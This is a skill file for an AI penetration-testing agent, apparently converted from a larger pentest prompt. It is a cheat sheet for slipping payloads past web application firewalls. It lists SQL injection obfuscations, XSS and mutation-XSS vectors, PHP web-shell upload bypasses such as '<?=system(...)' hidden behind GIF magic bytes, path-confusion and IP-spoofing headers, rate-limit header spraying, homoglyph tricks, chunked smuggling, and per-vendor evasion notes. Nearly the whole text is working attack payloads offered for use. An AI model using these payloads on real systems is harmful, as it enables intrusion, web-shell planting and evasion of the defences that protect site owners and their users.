waf-evasion-encoding-playbook

name

waf-evasion-encoding-playbook

description

Low-to-advanced encoding cheat sheet for evading WAFs and input filters -- HTML/JS/CSS/unicode escapes, SQL whitespace/comment tricks, XSS event-handler and mXSS vectors, PHP upload-filter bypasses, path confusion, homoglyphs, chunked-smuggling-past-WAF, and per-vendor WAF quirks (AWS/Cloudflare/CRS/Azure/Imperva/Akamai). Converted from master-pentest-prompt.md Phase 21. Use when a payload is confirmed to work logically but gets blocked by a WAF or input filter -- this is the encoding-level escalation, distinct from the waf-bypass skill's request-level tiers (headers/path/method/HTTP-version).

WAF evasion & encoding playbook (low -> advanced)

When to use

A payload that's logically correct (would work if it reached the backend unmodified) but gets blocked or stripped by a WAF/filter. This is encoding-level evasion -- if the whole request is being blocked regardless of payload content, use the waf-bypass skill's Tier 1-4 request-level bypasses (waf-bypass-mcp's attempt_bypass() automates those) first; this skill is for getting a specific payload past content-inspection once the request itself is reaching the backend.

HTML entities

< < : ɰ -- note the trailing semicolon is often tolerated as optional by browsers even when a filter expects it.

JS escapes

< \x3c \x61lert (per-character hex), octal \154\157\143, javascript:.

CSS escapes

\00003C.

Unicode tricks

Fullwidth ＜＞／ (U+FF1C/FF1E/FF0F visually resemble <>/), overlong UTF-8 encodings (%c0%af, %e0%80%af, %c0%ae..%c0%af), UTF-7 (+ADw-script+AD4-).

SQL-specific

• Whitespace substitutes: %09 %0A %0B (vertical tab) %0C %0D %A0 (NBSP), or comment-as-whitespace /**/, or parens.
• Comment splitting: UN/**/ION SE/**/LECT, versioned MySQL comments /*!50000UNION*/ /*!12345*/.
• Hex/CHAR encoding: 0x61646d696e, CHAR(97), concat(0x22,@@version,0x3c69).
• Mixed case + URL-encoded letters: %55NiOn(%53EleCt, UN%49ON SEL%45CT.
• Operator substitution: LIKE, REGEXP, BETWEEN, &&, ||, 1-0, '+0+', -/-, 1=1 LIMIT.
• Signature-splitting: uni*on sel*ect when the filter replaces * with a space; double-encoded variant %252f%252a*/union.
• Blind time-based: BENCHMARK(10000000,MD5(1)), DBMS_PIPE.RECEIVE_MESSAGE, pg_sleep.

XSS event handlers and mXSS

Less-common event handlers that filters may not blocklist: onpageshow, onpointerrawupdate, onauxclick, ontoggle, <svg><animate onbegin>, <set attributeName>, tab/space variants of onload. mXSS (mutation XSS) vectors: <svg><style><img src=x onerror=alert(1)></style></svg>, <math><mtext>, <title>, <listing>, noscript/foreignObject context tricks.

Call obfuscation

alert`1` (tagged template call), eval(atob('...')), Function`alert\x281\x29`, onerror=alert;throw 1.

PHP-specific upload/RCE bypasses

<?=$_GET[0]?>, <?=system(...), alternate extensions .php3 .pht .phtml .phar .pgif, null-byte-style shell.php%00.png, IIS alternate-stream trick shell.php;.jpg, shell.php::$DATA, trailing dot/space tricks, .htaccess AddType abuse, GIF89a magic bytes prepended to PHP content (GIF89a;<?php).

Path confusion

/public/..;/manager (Tomcat matrix-parameter trick), //, %2f%2e%2e%2f, /%61dmin (encoded first letter), encoded slash variants %2F %252F %c0%af, X-Original-URL/X-Rewrite-URL headers (the backend honors these but the WAF in front of it usually doesn't inspect them), X-Forwarded-Proto, X-Forwarded-Host, and IP-ACL-bypass headers (X-Forwarded-For: 127.0.0.1, X-Real-IP, X-Originating-IP, X-Custom-IP-Authorization, Forwarded: for=).

Rate-limit header spray

Rotate through X-Forwarded-For, X-Real-IP, X-Client-IP, True-Client-IP, CF-Connecting-IP, Fastly-Client-IP, X-Cluster-Client-IP, Proxy-Client-IP, WL-Proxy-Client-IP, X-Originating-IP, X-Remote-IP, Forwarded, Via, X-Forwarded-Host. Check whether the rate limiter parses the leftmost or rightmost IP in a multi-value header, whether duplicate headers confuse it, and integer-IP tricks: 0x7f.0x0.0x0.0x1, 2130706433, 127.1.

Double/triple encoding

%2527 %253C %252F, %252f%252a*/union.

Homoglyphs and invisible characters

Cyrillic а vs. Latin a, Greek α, fullwidth ＣＬＩＥＮＴ, Hangul filler U+3164 (renders invisible but is a valid JS identifier character), bidi override characters U+202A-U+202E (the "Trojan Source" class), zero-width space/non-joiner for keyword-breaking, tag characters U+E0000+.

Chunked smuggling past a WAF

Split the payload across chunk boundaries so no single chunk contains the full flagged signature; Content-Length: -1 can cause some implementations to skip body inspection entirely.

Per-WAF-vendor notes

• AWS WAF: double-encoding plus case variation tends to slip through.
• Cloudflare: obscure event handlers plus atob()-wrapped payloads.
• OWASP CRS at Paranoia Level 1: a single overlong UTF-8 sequence can slip past.
• Azure/Imperva/Akamai: hex encoding and homoglyph substitution are the more reliable classes against these.

The oracle

Always diff the baseline blocked response (status code + body hash) against each candidate variant's response -- a byte-identical block page means the variant didn't change anything; any diff is worth investigating even if the status code alone looks unchanged.